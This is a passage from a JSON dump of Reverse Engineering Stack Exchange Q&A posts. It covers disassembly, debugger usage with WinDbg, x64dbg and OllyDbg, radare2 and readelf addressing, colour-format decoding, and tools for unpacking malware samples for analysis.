        "CreationDate": "2018-01-16T12:51:52.733",
        "Body": "<p>Recently I have been working on reverse engineering of binary samples and executables of known malware. Most of them have been packed or encrypted. And to reach the actual data or part of the program we have to find where it is unpacking.</p>\n\n<p>Is there any common way or some technique to unpack malware samples for easier analysis?</p>\n",
        "Title": "How to unpack and decrypt malware?",
        "Tags": "|malware|static-analysis|dynamic-analysis|",
        "Answer": "<p>To add to what Hector said, I'd like to offer a couple of excellent tools, as well as an illuminating YouTube channel from an industry expert who shows you techniques and tools used to reverse modern malware targets.</p>\n\n<ol>\n<li><p><a href=\"http://www.split-code.com/processdump.html\" rel=\"nofollow noreferrer\">Process Dump</a>: <em>Dumps malware memory components back to disk for analysis. Dumping of regions without PE headers is supported and in these cases PE headers and import tables will automatically be generated. Process Dump supports creation and use of a clean-hash database, so that dumping of clean files such as kernel32.dll can be skipped.</em></p></li>\n<li><p><a href=\"https://hshrzd.wordpress.com/pe-sieve/\" rel=\"nofollow noreferrer\">PE-Sieve</a>: <em>Detects inline hooks, hollowed processes, process doppelg\u00e4nging, and much more.</em></p></li>\n<li><p><a href=\"https://www.youtube.com/channel/UCVFXrUwuWxNlm6UNZtBLJ-A/videos\" rel=\"nofollow noreferrer\">Malware Analysis for Hedgehogs</a>: Funny name for a channel, but absolutely invaluable tutorials for reversing modern malware, including everything from tools, to techniques, to how to set up environments for successful reversing, etc.</p></li>\n</ol>\n\n<p>There are of couse a multitude of tools and techniques, but what I've mentioned herein should put you on the right path, especially if using the tools mentioned and utilized by MalwareAnalysisForHedgehogs.</p>\n"
    },
    {
        "Id": "17213",
        "CreationDate": "2018-01-16T17:09:48.583",
        "Body": "<p>I am a little bit confused with this strange issue with ARM firmware. My original firmware file has no symbols, so I need to find them by myself trough the internet. But here I have a certain function of which I am sure. I have some reliable xrefs to it. But sometimes, some function call the loc_'s following its start. Look here:</p>\n\n<p><a href=\"https://i.stack.imgur.com/KPBWB.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/KPBWB.png\" alt=\"enter image description here\"></a></p>\n\n<p>So, it should start from the STMFD as usual, but here is not the case. Why? </p>\n",
        "Title": "ARM function start points look strange sometimes in IDA Pro",
        "Tags": "|ida|arm|",
        "Answer": "<p>Whenever you see nonsensical ARM instructions with conditional suffixes it's likely data being disassembled. Double-check your firmware load address and inspect the calling code; I think the call may have been bogus code too, which caused IDA to start disassembling at a wrong place.</p>\n"
    },
    {
        "Id": "17224",
        "CreationDate": "2018-01-17T14:41:49.523",
        "Body": "<p>I just started learning about reconstructing C code from assembler instructions.</p>\n\n<p>I have the following piece of assembler code:</p>\n\n<pre><code>mov eax dword ptr [ebp+8]\nadd eax, dword ptr[ebp-4]\nmovsx ecx, byte ptr [eax]\ntest ecx, ecx\njne XXXXX\ncomp dword ptr [ebp-4], ffh\njle XXXX\n</code></pre>\n\n<p>I want to reconstruct the condition of these lines but I have some problems or things I am not sure about:\nI re-constructed the following:</p>\n\n<p>Let,<code>ebp+8= param1</code> and <code>ebp-4 = i</code></p>\n\n<pre><code>if(param1[i]!=\u2019\\0\u2019 || i&lt;=0xff){\n\u2026\n}\n</code></pre>\n\n<p>But I am wondering about this line:</p>\n\n<pre><code>movsx ecx, byte ptr [eax]\n</code></pre>\n\n<p>As I understand <code>movsx</code> it moves a signed value into a register and sign-extends it with 1. Thus, <code>ecx</code> shouble look something like <code>0xFFFFFF&lt;eax&gt;</code>. Because only the lower bytes (<code>byte ptr eax</code>) of eax are moved and ecx is 1 extended. Where am I wrong?</p>\n",
        "Title": "re-construction of c code: movsx with test instruction",
        "Tags": "|x86|c|static-analysis|",
        "Answer": "<p>You may want to familiarize yourself with <a href=\"https://en.wikipedia.org/wiki/Two%27s_complement\" rel=\"nofollow noreferrer\">two's complement</a> notation. It will only extend the sign bit (msb) into the larger register. So, the msb will be extended into all the additional bits -- sxxxxxxx -> sssssssssssssssssssssssssxxxxxxx</p>\n\n<p>For example, if the byte value pointed to by <code>eax</code> was 1 (0b00000001), <code>ecx</code> would be 1 (0b00000000000000000000000000000001). Similarly, if it was the most positive number possible in a two's complement byte, 127 (0b01111111), <code>ecx</code> would be 127 as well (0b00000000000000000000000001111111). </p>\n\n<p>Where the sign extension is needed is to maintain the value for negative numbers. If the value were -1 (0b11111111), then if you just simply zero-extended into a 32-bit value you would get 255 (0b00000000000000000000000011111111) in <code>ecx</code> instead of -1 (0b11111111111111111111111111111111).</p>\n"
    },
    {
        "Id": "17226",
        "CreationDate": "2018-01-17T17:24:01.087",
        "Body": "<p>I have an MIPS binary file that I want to analyze. I am having a little trouble understanding the way elfread and r2 interpret the adressing scheme from a binary. </p>\n\n<p>For example, r2 finds a function named <code>bcmVlan_setDefaultAction</code> at the location <code>0x0800d318</code>:</p>\n\n<pre><code>[0x0800fbb8]&gt; s sym.bcmVlan_setDefaultAction  \n[0x0800d318]&gt;\n</code></pre>\n\n<p>While as per the .symtab table, this function is located at <code>0x0000d2c8</code></p>\n\n<pre><code>$ readelf -a bcmvlan.ko | grep bcmVlan_setDefaultAction\n123: 0000d2c8   616 FUNC    GLOBAL DEFAULT    2 bcmVlan_setDefaultAction\n</code></pre>\n\n<p>I tried some other functions too. It seems the addresses shown by readelf and r2 are corelated, but I can't find why this difference is there.</p>\n\n<p>Regards.</p>\n",
        "Title": "Difference between 'readelf' and 'radare2' addresses",
        "Tags": "|elf|radare2|address|",
        "Answer": "<h2>.symtab</h2>\n\n<p>The symbol table of readelf (<code>.symtab</code>) shows you the offset of each symbol from the base of the section the symbol is in.</p>\n\n<p>As you showed us, when you listing the table you get something like that:</p>\n\n<pre><code>$ readelf --symbols &lt;filename&gt;\nSymbol table '.symtab' contains 471 entries:\n   Num:    Value  Size Type    Bind   Vis      Ndx Name\n     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND\n     1: 00000000     0 SECTION LOCAL  DEFAULT    2\n     2: 00000000     0 SECTION LOCAL  DEFAULT    4\n     3: 00000000     0 SECTION LOCAL  DEFAULT    6\n     4: 00000000     0 SECTION LOCAL  DEFAULT    8\n     5: 00000000     0 SECTION LOCAL  DEFAULT   10\n     6: 00000000     0 SECTION LOCAL  DEFAULT   12\n       ...    ... Truncated for readability ...   ...\n   462: 0000d2c8   616 FUNC    GLOBAL DEFAULT    2 bcmVlan_setDefaultAction\n</code></pre>\n\n<p>One column is interested us especially, which is the <code>Ndx</code> column. <code>readelf</code> identifies each section by an integer index. This is what Ndx stands for. The output of the <code>.symtab</code> shows us that our function <code>bcmVlan_setDefaultAction</code> belongs to Ndx number 2.</p>\n\n<h2>Section Table</h2>\n\n<p>To see which section has index number \"2\" you should execute:</p>\n\n<pre><code>$ readelf --sections &lt;filename&gt;\n</code></pre>\n\n<p>When you'll execute it you'd probably see something like this:</p>\n\n<pre><code>There are ?? section headers, starting at offset 0x????:\nSection Headers:\n\n  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al\n  [ 0]                   NULL            00000000 000000 000000 00      0   0  0\n  [ 1] &lt;section name&gt;    &lt;type&gt;          00000000 0000?? 0000?? ??   A  0   0  4\n  [ 2] .text             &lt;type&gt;          00000000 000050 00???? 00  AX  0   0 16\n</code></pre>\n\n<p>You function will probably be in the <code>.text</code> section which its base address (<code>Off</code> column) is <code>0x000050</code>, i.e 0x50 bytes from the beginning of the file.</p>\n\n<p>Then, it should all make sense since it is what you get when subtracting the address you got from <code>readelf</code> from the one you got from <code>radare2</code>:</p>\n\n<pre><code>0x0d318 - 0x0d2c8 = 0x50. \n</code></pre>\n"
    },
    {
        "Id": "17228",
        "CreationDate": "2018-01-17T22:46:17.757",
        "Body": "<p>I am currently trying to reverse engineer some game files. I have found the exact location of each graphic element, but now I am stuck trying to convert their data to &quot;readable&quot; rgb code. They use 16 bit long Hex values (0xC306 or 110000110000 converts to R:0 G:219 B:24)</p>\n<p>The file is written in little endian. Could someone tell me how they convert it?</p>\n<blockquote>\n<p>More examples:</p>\n<p>(0xCFC0 -&gt; RGB 198 24 123)</p>\n<p>(0xFFF0 -&gt; RGB 247 28 255)</p>\n<p>(0xFF00 -&gt; RGB 0 28 255)</p>\n</blockquote>\n",
        "Title": "Converting 16 bit long Hex value to a color",
        "Tags": "|file-format|decompress|hexadecimal|",
        "Answer": "<p>It appears to be stored in byte-reversed order from what you gave with a standard 5-6-5 bit encoding and then scaled to a maximum of 255 for each.</p>\n<h1>0xC0CF (0b1100000011001111)</h1>\n<p>R: 24 (0b11000) * 255/31 = <strong>197</strong>  G: 6 (0b000110) * 255/63 = <strong>24</strong>  B: 15 (0b01111) * 255/31 = <strong>123</strong></p>\n<h1>0xF0FF (0b1111000011111111)</h1>\n<p>R: 30 (0b11110) * 255/31 = <strong>247</strong>  G: 7 (0b000111) * 255/63 = <strong>28</strong>  B: 31 (0b11111) * 255/31 = <strong>255</strong></p>\n<h1>0x00FF (0b0000000011111111)</h1>\n<p>R: 0 (0b00000) * 255/31 = <strong>0</strong>  G: 7 (0b000111) * 255/63 = <strong>28</strong>  B: 31 (0b11111) * 255/31 = <strong>255</strong></p>\n"
    },
    {
        "Id": "17232",
        "CreationDate": "2018-01-18T12:10:16.597",
        "Body": "<p>There's time zone information in windows dumps stored in MINIDUMP_MISC_INFO_N, yet I couldn't find the command which prints this information in windbg. So, I have to extract this information from the dump manually...</p>\n",
        "Title": "Is there a command in Windbg which prints MINIDUMP_MISC_INFO_N from the Windows mini dumps?",
        "Tags": "|windows|windbg|",
        "Answer": "<p>There is a command <code>.timezone</code> which prints the timezone StandardName</p>\n\n<pre><code>:\\&gt;tzutil /s \"Greenwich Standard Time\"\n\n:\\&gt;cdb -c \".timezone;q\" calc.exe | grep -B 1 -A 1 Green\n0:000&gt; cdb: Reading initial command '.timezone;q'\nTime zone: Greenwich Standard Time; (UTC - 00:00)\nquit:\n\n:\\&gt;tzutil /s \"Tokyo Standard Time\"\n\n:\\&gt;cdb -c \".timezone;q\" calc.exe | grep -B 1 -A 1 Tokyo\n0:000&gt; cdb: Reading initial command '.timezone;q'\nTime zone: Tokyo Standard Time; (UTC + 09:00)\nquit:\n\n:\\&gt;tzutil /s \"India Standard Time\"\n\n:\\&gt;cdb -c \".timezone;q\" calc.exe | grep -B 1 -A 1 India\n0:000&gt; cdb: Reading initial command '.timezone;q'\nTime zone: India Standard Time; (UTC + 05:30)\nquit:\n</code></pre>\n\n<p>if you want something else from the misc structure you can code some thing along this line and retrieve all information</p>\n\n<pre><code>#include &lt;engextcpp.hpp&gt;\n#include &lt;dbghelp.h&gt;\nclass EXT_CLASS : public ExtExtension {\npublic:\n    EXT_COMMAND_METHOD(tzinfo);\n};\nEXT_DECLARE_GLOBALS();\nEXT_COMMAND(tzinfo,\"Output TimeZoneInfo\",\"{;e,o,d=0;tzinfo;Print TimeZone}\")\n{\n    Out(\"outputs timezone info \\n\");\n    MINIDUMP_MISC_INFO_N Info;\n    HRESULT Status;\n    if ((Status = m_Advanced2-&gt;Request(DEBUG_REQUEST_MISC_INFORMATION,NULL,\n                    0,&amp;Info,sizeof(Info),NULL)) == S_OK){\n        Out(\"we recieved tzinfo %x\\n %S\\n\" , Info.TimeZoneId , Info.TimeZone.StandardName);\n    } else {\n        Out(\"we didnot recieve tzinfo\\n\");\n    }    \n}\n</code></pre>\n\n<p>and use it like this </p>\n\n<pre><code>:\\&gt;.\\cdb -c \".load tzinfo ;!tzinfo;q\" calc | grep -A 4 Reading\n0:000&gt; cdb: Reading initial command '.load tzinfo ;!tzinfo;q'\noutputs timezone info\nwe recieved tzinfo 0\n India Standard Time\nquit:\n\n:\\&gt;tzutil /s \"Tokyo Standard Time\"\n\n:\\&gt;.\\cdb -c \".load tzinfo ;!tzinfo;q\" calc | grep -A 4 Reading\n0:000&gt; cdb: Reading initial command '.load tzinfo ;!tzinfo;q'\noutputs timezone info\nwe recieved tzinfo 0\n Tokyo Standard Time\nquit:\n</code></pre>\n"
    },
    {
        "Id": "17233",
        "CreationDate": "2018-01-18T15:36:22.133",
        "Body": "<p>I tried to google this for a while but I don\u2019t think I\u2019ve phrased it correctly. </p>\n\n<pre><code>R read\nW write\nX execute\nL ?\nD ?\n</code></pre>\n",
        "Title": "What are L and D in r-w-x-l-d segment flags of IDA Pro?",
        "Tags": "|ida|",
        "Answer": "<p>The D stands for debugger only and L for created by the loader - see <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/525.shtml\" rel=\"nofollow noreferrer\">IDA documentation</a></p>\n"
    },
    {
        "Id": "17246",
        "CreationDate": "2018-01-21T23:59:10.327",
        "Body": "<p>I'm trying to solve a reverse engineering challenge (<a href=\"http://crackmes.cf/users/beatrix/beaba/\" rel=\"nofollow noreferrer\">http://crackmes.cf/users/beatrix/beaba/</a>) and am having trouble with the obfuscation. Below is a piece of code that gets executed almost immediately after having reached the entry point. After having reached the call instruction, it seems that the call is calling the second byte of the second instruction listed below.</p>\n\n<pre><code>0000000000403789 | E8 01 00 00 00           | call beaba.40378F\n000000000040378E | 04 E8                    | add al,E8\n0000000000403790 | 01 00                    | add dword ptr ds:[rax],eax \n0000000000403792 | 00 00                    | add byte ptr ds:[rax],al\n0000000000403794 | D0 83 44 24 08 12        | rol byte ptr ds:[rbx+12082444],1\n000000000040379A | 83 04 24 0A              | add dword ptr ss:[rsp],A\n</code></pre>\n\n<p>After decoding the bytes starting from the second byte of the second instruction, it translated to this:</p>\n\n<pre><code>e8 01 00 00 00          call   0x6\nd0 83 44 24 08 12       rol    BYTE PTR [rbx+0x12082444],1\n83 04 24 0a             add    DWORD PTR [rsp],0xa\nc3                      ret\n</code></pre>\n\n<p>This seems to be a local call I thought, I wasn't sure, which calls the function starting from the sixth byte after the call instruction (again, I'm not sure), which would mean that it calls the instructions starting from the byte with value 0x12. This translated to:</p>\n\n<pre><code>00 00                   add    BYTE PTR [rax],al\n00 f4                   add    ah,dh\n83 44 24 08 12          add    DWORD PTR [rsp+0x8],0x12\n83 04 24 0a             add    DWORD PTR [rsp],0xa\nc3                      ret\n</code></pre>\n\n<p>However, this is not so practical to do if this were to go on for 100 times. </p>\n\n<p>Now my question is: is this the correct way to analyze a program, or are there better/more efficient methods? I'm using x64dbg to analyze it and after the program starts calling overlapping instructions and then pauses at a certain instruction, maybe because that's the first instruction that does not overlap and it breaks.</p>\n",
        "Title": "Deobfuscating overlapping x86 assembly instructions",
        "Tags": "|obfuscation|x86-64|",
        "Answer": "<p>Advanced disassemblers solve this problem by performing a recursive traversal of the binary, i.e., they also look at possible jump/branch targets and disassemble from that location - even if the original linear scan indicated that the branch target was inside an instruction.</p>\n\n<p><a href=\"http://www.ollydbg.de/\" rel=\"nofollow noreferrer\">OllyDbg</a> as well as <a href=\"https://www.hex-rays.com/products/ida/\" rel=\"nofollow noreferrer\">IDA Pro</a> support recursive traversal. However, OllyDbg support for x64 seems to be still in development and x64 support is not included in the free (as beer) version of IDA Pro.</p>\n\n<p>See <a href=\"http://resources.infosecinstitute.com/linear-sweep-vs-recursive-disassembling-algorithm/\" rel=\"nofollow noreferrer\">this article</a> for more details.</p>\n"
    },
    {
        "Id": "17262",
        "CreationDate": "2018-01-23T17:35:46.153",
        "Body": "<p>When examining <code>bin</code> firmware files Binwalk is an extremely helpful tool. There are times though that Binwalk comes up empty and a lot more digging is required to make sense of the data.</p>\n\n<p>Are there any alternatives to Binwalk that might work better in certain cases, or possibly a commercial version of such a tool?</p>\n",
        "Title": "Binwalk alternative",
        "Tags": "|firmware|",
        "Answer": "<p>The original answer I posted in 2018 is somewhat out of date now. There are 2 tools that have been released in the meantime that can help with understanding what is in a binary file. One tool, <a href=\"https://github.com/kairis/isadetect\" rel=\"nofollow noreferrer\">ISAdetect</a>, focuses specifically on identifying the CPU the code in an executable binary targets. It accomplishes this using machine learning.</p>\n<p>Another tool, <a href=\"https://github.com/BinaryResearch/centrifuge-toolkit\" rel=\"nofollow noreferrer\">Centrifuge</a>, also uses machine learning, but does not focus on machine code specifically. Rather, this tool was designed to help an analyst identify what kinds of data are encoded in binary files (full disclosure, I am the creator of this tool). To that end, it provides many functions for visualizing the data in a binary file using Python plotting libraries, and finds clusters of statistically-similar data by using scikit-learn's implementation of the <a href=\"https://scikit-learn.org/stable/modules/clustering.html#dbscan\" rel=\"nofollow noreferrer\">DBSCAN</a> algorithm. Centrifuge also uses ISAdetect's web API to identify any machine code found in a binary file.</p>\n<p>Here are some examples of visualizations Centrifuge can create from data in a binary file:</p>\n<p><a href=\"https://i.stack.imgur.com/hauIM.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/hauIM.png\" alt=\"readelf clusters\" /></a></p>\n<p><a href=\"https://i.stack.imgur.com/puVwo.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/puVwo.png\" alt=\"firmware machine code\" /></a></p>\n<p><a href=\"https://i.stack.imgur.com/Q4IkM.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Q4IkM.png\" alt=\"AVR clusters boxplot\" /></a></p>\n<p>As you can see from these images, the approach taken by the tool is statistical. It is through statistical analysis of the data in a file that Centrifuge is able to identify what types of data may be present. At time of writing, 3 different data types can be identified: machine code, UTF-english, and compression/encryption.</p>\n<p>As an example of this, here is the output for a firmware binary analyzed by Centrifuge:</p>\n<pre><code>Searching for machine code\n--------------------------------------------------------------------\n\n[+] Checking Cluster 0 for possible match\n[+] Closely matching CPU architecture reference(s) found for Cluster 0\n[+] Sending sample to https://isadetect.com/\n[+] response:\n\n{\n    &quot;prediction&quot;: {\n        &quot;architecture&quot;: &quot;mips&quot;,\n        &quot;endianness&quot;: &quot;little&quot;,\n        &quot;wordsize&quot;: 32\n    },\n    &quot;prediction_probability&quot;: 0.93\n}\n\n\nSearching for utf8-english data\n-------------------------------------------------------------------\n\n[+] UTF-8 (english) detected in Cluster 1\n    Wasserstein distance to reference: 7.861589780632858\n\n\nSearching for high entropy data\n-------------------------------------------------------------------\n\n[+] High entropy data found in Cluster 2\n    Wasserstein distance to reference: 0.4625352842771307\n[*] This distance suggests the data in this cluster could be\n    a) encrypted\n    b) compressed via LZMA with maximum compression level\n    c) something else that is random or close to random.\n</code></pre>\n<p>For context, here is a visualization of the information of the same binary:</p>\n<p><a href=\"https://i.stack.imgur.com/tY7Hj.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/tY7Hj.png\" alt=\"firmware clusters\" /></a></p>\n<p>For those who are interested, here is a notebook explaining how to use it: <a href=\"https://github.com/BinaryResearch/centrifuge-toolkit/blob/master/notebooks/Introduction%20to%20Centrifuge.ipynb\" rel=\"nofollow noreferrer\">Introduction to Centrifuge</a>.</p>\n"
    },
    {
        "Id": "17269",
        "CreationDate": "2018-01-24T03:37:51.423",
        "Body": "<p>From the demangled name, I know that a function takes an <code>std::string const&amp;</code> as a parameter but when generating psuedo-c code with Hex-Rays' decompiler it autodetects the parameters as <code>(int a1, int a2, int a3)</code></p>\n\n<p>How can I fix the function signature Hex-Rays' is generating?</p>\n\n<p><a href=\"https://i.stack.imgur.com/vo2NH.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/vo2NH.png\" alt=\"screenshot of IDA graph view\"></a></p>\n\n<pre><code>int __fastcall EncodeUtil::getDecryptStr(int a1, int a2, int a3)\n{\n  int v3; // r7\n  unsigned int i; // r5\n  char v5; // r6\n  int v7; // [sp+4h] [bp-1Ch]\n  int v8; // [sp+8h] [bp-18h]\n\n  v7 = a2;\n  v8 = a3;\n  v3 = a1;\n  HttpUtility::URLDecode(&amp;v7);\n  for ( i = 0; i &lt; *(_DWORD *)(v7 - 12); ++i )\n  {\n    sub_3B25D0(&amp;v7);\n    v5 = byte_41A7DD[i &amp; 7];\n    *(_BYTE *)(v7 + i) ^= v5;\n    sub_3B25D0(&amp;v7);\n    if ( !*(_BYTE *)(v7 + i) )\n    {\n      sub_3B25D0(&amp;v7);\n      *(_BYTE *)(v7 + i) ^= v5;\n    }\n  }\n  sub_3B2E20(v3, &amp;v7);\n  sub_3B1CCC(&amp;v7);\n  return v3;\n}\n</code></pre>\n",
        "Title": "Hex-Rays function signature does not match demangled name",
        "Tags": "|ida|arm|hexrays|strings|",
        "Answer": "<p>It looks like hex-rays mistakenly thought there were three parameters instead of two. If you look at the start of the function's disassembly <code>R1</code> and <code>R2</code> are not saved, only <code>R0</code> is. You should be able to just change the function signature to <code>int __fastcall EncodeUtil::getDecryptStr(void* pString)</code>. The default key to do so is <code>Y</code>. If you have a struct definition for <code>std::string</code> you can replace the <code>void*</code> in the signature with an <code>std::string*</code></p>\n"
    },
    {
        "Id": "17271",
        "CreationDate": "2018-01-24T11:13:56.093",
        "Body": "<p>I need to find values of arguments that are passed to specific function.</p>\n\n<p>Normally I set INT3 breakpoint and check registers and the stack whenever it is reached. But there is too many calls to this specific function to do it manually, so I'm trying to find some automatic solution.</p>\n\n<p>Any suggestions?</p>\n",
        "Title": "Record all calls to specific function? Olly/x64dbg",
        "Tags": "|ida|ollydbg|x64dbg|",
        "Answer": "<p>ollydbg v 2.01 </p>\n\n<p>ollydbg calc.exe -> ctrl+g ->address or symbol->follow ->shift+f4 ->pause never -> log arguments ->always -> f9 and see the log window</p>\n\n<p><a href=\"https://i.stack.imgur.com/quP62.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/quP62.png\" alt=\"enter image description here\"></a></p>\n\n<p>if you are on windbg you simply do </p>\n\n<pre><code>0:003&gt; bp USER32!TranslateMessage \"dt ole32!tagMSG poi(@esp+4);kb 2;.echo ========;gc\"\nbreakpoint 0 redefined\n0:003&gt; g\n   +0x000 hwnd             : (null) \n   +0x004 message          : 0x113\n   +0x008 wParam           : 0x3341\n   +0x00c lParam           : 0n1954748594\n   +0x010 time             : 0x147656d\n   +0x014 pt               : tagPOINT\n # ChildEBP RetAddr  Args to Child              \n00 0017eee0 002b1c9f 0017efbc 00304a68 004f2b44 USER32!TranslateMessage\n01 0017fc50 002c219a 002b0000 00000000 004f2b44 calc!WinMain+0x85b\n========\n   +0x000 hwnd             : 0x000e0212 HWND__\n   +0x004 message          : 0xf\n   +0x008 wParam           : 0\n   +0x00c lParam           : 0n0\n   +0x010 time             : 0x1477998\n   +0x014 pt               : tagPOINT\n # ChildEBP RetAddr  Args to Child              \n00 0017eee0 002b1c9f 0017efbc 00304a68 004f2b44 USER32!TranslateMessage\n01 0017fc50 002c219a 002b0000 00000000 004f2b44 calc!WinMain+0x85b\n========\n   +0x000 hwnd             : 0x001d017e HWND__\n   +0x004 message          : 0xf\n   +0x008 wParam           : 0\n   +0x00c lParam           : 0n0\n   +0x010 time             : 0x14779a8\n   +0x014 pt               : tagPOINT\n # ChildEBP RetAddr  Args to Child              \n00 0017eee0 002b1c9f 0017efbc 00304a68 004f2b44 USER32!TranslateMessage\n01 0017fc50 002c219a 002b0000 00000000 004f2b44 calc!WinMain+0x85b\n========\n</code></pre>\n\n<p>edit </p>\n\n<p>x64 dbg also has an edit breakpoint when you toggle an f2 bp but i dont know how you can coax it to decode teh arguments </p>\n\n<p>with x64 dbg you set an f2 breakpoint from the gui then rightclick edit breakpoint </p>\n\n<p>and set the condition to break as 0 (never break)\nand in the log text edit box input this formatted string </p>\n\n<p>and see the results in log window</p>\n\n<p>like below</p>\n\n<pre><code>msg *:FEDB0;hwnd=:160252;msg =: 118\nmsg *:FEDB0;hwnd=:160252;msg =: 118\nmsg *:FEDB0;hwnd=:160252;msg =: 118\nmsg *:FEDB0;hwnd=:160252;msg =: 118\nmsg *:FEDB0;hwnd=:160252;msg =: 118\nmsg *:FEDB0;hwnd=:160252;msg =: 118\nmsg *:FEDB0;hwnd=:160252;msg =: 118\nmsg *:FEDB0;hwnd=:160252;msg =: F\nmsg *:FEDB0;hwnd=:3D0458;msg =: F\nmsg *:FEDB0;hwnd=:1908B8;msg =: F\nmsg *:FEDB0;hwnd=:8038E;msg =: F\n</code></pre>\n\n<p><a href=\"https://i.stack.imgur.com/faZ6k.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/faZ6k.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "17278",
        "CreationDate": "2018-01-24T20:28:59.363",
        "Body": "<p>In the abstract, I'm just wondering what an SDB file does and what role it plays. I see <a href=\"https://github.com/radare/radare2/tree/c0c0cba3398466661afed716f709f1fc404a752e/libr/include/sdb\" rel=\"nofollow noreferrer\">Radare2 is using them.</a>. Here are some of the SDB files I have under <code>./libr/bin/d/dll/</code>, what do these do?</p>\n\n<pre><code>./libr/bin/d/dll/csmfpapi.sdb\n./libr/bin/d/dll/atl.sdb\n./libr/bin/d/dll/msvbvm60.sdb\n./libr/bin/d/dll/msi.sdb\n./libr/bin/d/dll/mfc90u.sdb\n./libr/bin/d/dll/msvbvm50.sdb\n./libr/bin/d/dll/dsound.sdb\n./libr/bin/d/dll/mfc71.sdb\n./libr/bin/d/dll/olepro32.sdb\n</code></pre>\n",
        "Title": "What is an SDB file?",
        "Tags": "|pe|radare2|pe32|",
        "Answer": "<p>SDB stands for <strong>S</strong>tring <strong>D</strong>ata<strong>b</strong>ase. </p>\n\n<blockquote>\n  <p><code>sdb</code> is a simple string key/value database based on <a href=\"https://en.wikipedia.org/wiki/Cdb_(software)\" rel=\"nofollow noreferrer\">cdb</a> disk\n  storage and supports JSON and arrays introspection.</p>\n</blockquote>\n\n<p>You can see the SDB commands listed with the <code>k</code> command,</p>\n\n<pre><code>|Usage: k[s] [key[=value]]Sdb Query\n| k foo=bar                 set value\n| k foo                     show value\n| k                         list keys\n| ko [file.sdb] [ns]        open file into namespace\n| kd [file.sdb] [ns]        dump namespace to disk\n| ks [ns]                   enter the sdb query shell\n| k anal/meta/*             ist kv from anal &gt; meta namespaces\n| k anal/**                 list namespaces under anal\n| k anal/meta/meta.0x80404  get value for meta.0x80404 key\n</code></pre>\n\n<p>There's a whole post about it in radare2 blog, check it out <a href=\"http://radare.today/posts/exploring-the-database/\" rel=\"nofollow noreferrer\">here</a>.<br>\nYou can read more about it in <a href=\"https://github.com/radare/radare2/tree/master/shlr/sdb\" rel=\"nofollow noreferrer\">this link</a> from radare2's repository.<br>\nThere's also a short, and not so detailed, <a href=\"https://radare.gitbooks.io/radare2book/content/basic_commands/sdb.html\" rel=\"nofollow noreferrer\">chapter about it</a> in r2book.</p>\n\n<hr>\n\n<p><strong>Edit:</strong> You added another question so I'll expand my answer accordingly.<br>\nThese <code>sdb</code>files contain function names (DLL's exports) and their equivalent <a href=\"https://docs.microsoft.com/en-us/cpp/build/exporting-functions-from-a-dll-by-ordinal-rather-than-by-name\" rel=\"nofollow noreferrer\">ordinals</a> for each <code>dll</code> in <a href=\"https://github.com/radare/radare2/tree/032aff2d556a70dfcc391d111f5aaeda2423c70a/libr/bin/d/dll\" rel=\"nofollow noreferrer\">./libr/bin/d/dll/</a>. Each file contains a key-value line in this format:</p>\n\n<pre><code>ordinal_num=export_name\nanother_ordinal_num=another_export_name\n</code></pre>\n\n<p>So, if we'll take <code>msi.dll</code> from the list you've mentioned, its <code>sdb</code> file will look like this:</p>\n\n<pre><code>...\n232=Migrate10CachedPackagesW\n1=MsiAdvertiseProductA\n223=MsiAdvertiseProductExA\n224=MsiAdvertiseProductExW\n2=MsiAdvertiseProductW\n...\n</code></pre>\n\n<p>These files are then compiled by <a href=\"https://github.com/radare/radare2/blob/master/libr/bin/d/Makefile\" rel=\"nofollow noreferrer\"><code>MakeFile</code></a>. To add <code>sdb</code> files for DLL you can follow <a href=\"https://github.com/radare/radare2/blob/master/doc/sdb_ordinal.md\" rel=\"nofollow noreferrer\">\"sdb_ordinal.md\"</a> article from radare2 docs.</p>\n"
    },
    {
        "Id": "17279",
        "CreationDate": "2018-01-24T21:50:42.323",
        "Body": "<p>Just wondering what it means when in the visual display it shows <code>invalid</code>? Is that just a way of saying there is nothing at that address?</p>\n\n<pre><code>0x0003ce0c      ff             invalid\n0x0003ce0d      ff             invalid\n0x0003ce0e      ff             invalid\n0x0003ce0f      ff             invalid\n0x0003ce10      ff             invalid\n0x0003ce11      ff             invalid\n0x0003ce12      ff             invalid\n0x0003ce13      ff             invalid\n0x0003ce14      ff             invalid\n0x0003ce15      ff             invalid\n0x0003ce16      ff             invalid\n0x0003ce17      ff             invalid\n0x0003ce18      ff             invalid\n</code></pre>\n",
        "Title": "What does it mean when radare2 says \"invalid\"?",
        "Tags": "|radare2|",
        "Answer": "<p>It simply means that the bytes, <code>0xff</code> in your case, are not valid instructions.<br>\nSo, to put it simply, it means that you are not looking at code. Try another offsets and sections.</p>\n\n<blockquote>\n  <p>Is that just a way of saying there is nothing at that address?</p>\n</blockquote>\n\n<p>This does not mean that there's nothing there, it means that there are no valid instructions there. As you can see, these addresses at your paste contains \"0xff\" bytes.</p>\n"
    },
    {
        "Id": "17286",
        "CreationDate": "2018-01-25T09:42:23.123",
